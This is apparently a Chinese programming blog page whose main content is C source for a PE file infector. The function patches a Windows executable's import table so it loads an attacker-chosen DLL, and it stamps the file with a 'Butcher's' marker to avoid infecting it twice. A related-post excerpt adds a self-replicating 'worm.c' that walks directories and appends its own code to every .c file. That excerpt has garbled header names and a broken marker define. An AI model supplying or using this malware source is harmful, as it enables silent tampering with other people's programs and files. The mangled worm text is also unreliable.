Infect PE

int InfectImport(const char* Path,const char* Library)
{
	char								 Sign[0x10]={0};
	FILE*								 File=0x0;
	char*								 Buffer=0x0;
	const char*							 Test=TEXT("Butcher's");
	unsigned long						 Size=0;
	unsigned long						 Offset=0;
	IMAGE_DOS_HEADER					 Dos={0};
	IMAGE_NT_HEADERS					 NT={0};
	IMAGE_SECTION_HEADER				 Section={0};
	IMAGE_IMPORT_DESCRIPTOR*			 Import=0;
	IMAGE_DATA_DIRECTORY*				 Directory=0;
	if (fopen_s(&File,Path,TEXT("rb+"))!=0)
	{
		return 0;
	}
	__try
	{
		__try
		{
			fread(&Dos,sizeof(IMAGE_DOS_HEADER),1,File);
			if (Dos.e_magic!= IMAGE_DOS_SIGNATURE)
			{
				return 0;
			}
			fseek(File,0x28,SEEK_SET);
			fread(Sign,0x10,1,File);
			if (strcmp(Test,Sign)==0)
			{
				return 0;
			}
			fseek(File,Dos.e_lfanew,SEEK_SET);
			fread(&NT,sizeof(IMAGE_NT_HEADERS),1,File);
			if (NT.Signature!=IMAGE_NT_SIGNATURE)
			{
				return 0;
			}
			fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER),SEEK_SET);
			fread(&Section,sizeof(IMAGE_SECTION_HEADER),1,File);
			if (Section.VirtualAddress!=NT.OptionalHeader.BaseOfData)
			{
				return 0;
			}
			Size=NT.OptionalHeader.DataDirectory[1].Size;
			if (Size+0x20>Section.SizeOfRawData-Section.Misc.VirtualSize)
			{
				return 0;
			}
			Offset=Section.PointerToRawData+Section.Misc.VirtualSize;
			Buffer=calloc(0x20,sizeof(char));
			memset(Buffer,0,0x20);
			strcpy_s((char*)Buffer,strlen(Library)+1,Library);
			*(int*)((int)Buffer+0x10)=0x80000001;
			*(int*)((int)Buffer+0x14)=0x0;
			*(int*)((int)Buffer+0x18)=0x0;
			*(int*)((int)Buffer+0x1c)=0x0;
			fseek(File,Offset,SEEK_SET);
			fwrite(Buffer,sizeof(char),0x20,File);
			Import=malloc(sizeof(IMAGE_IMPORT_DESCRIPTOR));
			Import->FirstThunk				=Offset+0x10;
			Import->ForwarderChain			=0;
			Import->Name					=Offset;
			Import->OriginalFirstThunk		=Offset+0x18;
			Import->TimeDateStamp			=0;
			fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress+Size-0x14,SEEK_SET);
			fwrite(Import,sizeof(IMAGE_IMPORT_DESCRIPTOR),1,File);
			Buffer=realloc(Buffer,Size);
			memset(Buffer,0,Size);
			fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress,SEEK_SET);
			fread(Buffer,sizeof(char),Size,File);
			fseek(File,Offset+0x20,SEEK_SET);
			fwrite(Buffer,sizeof(char),Size,File);
			Directory=malloc(sizeof(IMAGE_DATA_DIRECTORY));
			Directory->Size						=Size+0x14;
			Directory->VirtualAddress			=Offset+0x20;
			fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)-0x78,SEEK_SET);
			fwrite(Directory,sizeof(IMAGE_DATA_DIRECTORY),1,File);
			fseek(File,0x28,SEEK_SET);
			fwrite(Test,strlen(Test),1,File);
		}
		__except(EXCEPTION_EXECUTE_HANDLER)
		{
			return 0;
		}
	}
	__finally
	{
		free(Buffer);
		free(Import);
		free(Directory);
		fclose(File);
	}
	return 1;
} 


 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <dirent.h> #include <sysat.h> #include <syspes.h> #include <unistd.h> #define FILENAME "worm.c" #define INFECTION_MARKER " #define INFECTION_MARKER" void infect_files(char *dir) { DIR *dp; struct dirent *entry; struct stat statbuf; FILE *fp, *infected_fp; char file_path[256], infected_file_path[256], line[512]; int infected = 0; if ((dp = opendir(dir)) == NULL) { perror("opendir"); return; } chdir(dir); while ((entry = readdir(dp)) != NULL) { lstat(entry->d_name, &statbuf); if (S_ISDIR(statbuf.st_mode)) { if (strcmp(".", entry->d_name) == 0 || strcmp("..", entry->d_name) == 0) { continue; } infect_files(entry->d_name); } else { if (strstr(entry->d_name, ".c") != NULL) { if ((fp = fopen(entry->d_name, "r")) != NULL) { while (fgets(line, sizeof(line), fp) != NULL) { if (strstr(line, INFECTION_MARKER) != NULL) { infected = 1; break; } } fclose(fp); if (!infected) { if ((fp = fopen(entry->d_name, "a")) != NULL) { if ((infected_fp = fopen(FILENAME, "r")) != NULL) { while (fgets(line, sizeof(line), infected_fp) != NULL) { fputs(line, fp); } fclose(infected_fp); } fclose(fp); infected = 1; } } } } } if (infected) { sprintf(file_path, "%s/%s", dir, entry->d_name); sprintf(infected_file_path, "%s/%s", dir, FILENAME); printf("Infected %s\n", file_path); link(file_path, infected_file_path); chmod(infected_file_path, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); infected = 0; } } chdir(".."); closedir(dp); } int main(int argc, char **argv) { char *dir; if (argc > 1) { dir = argv[1]; } else { dir = "."; } infect_files(dir); return 0; }
05-16

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值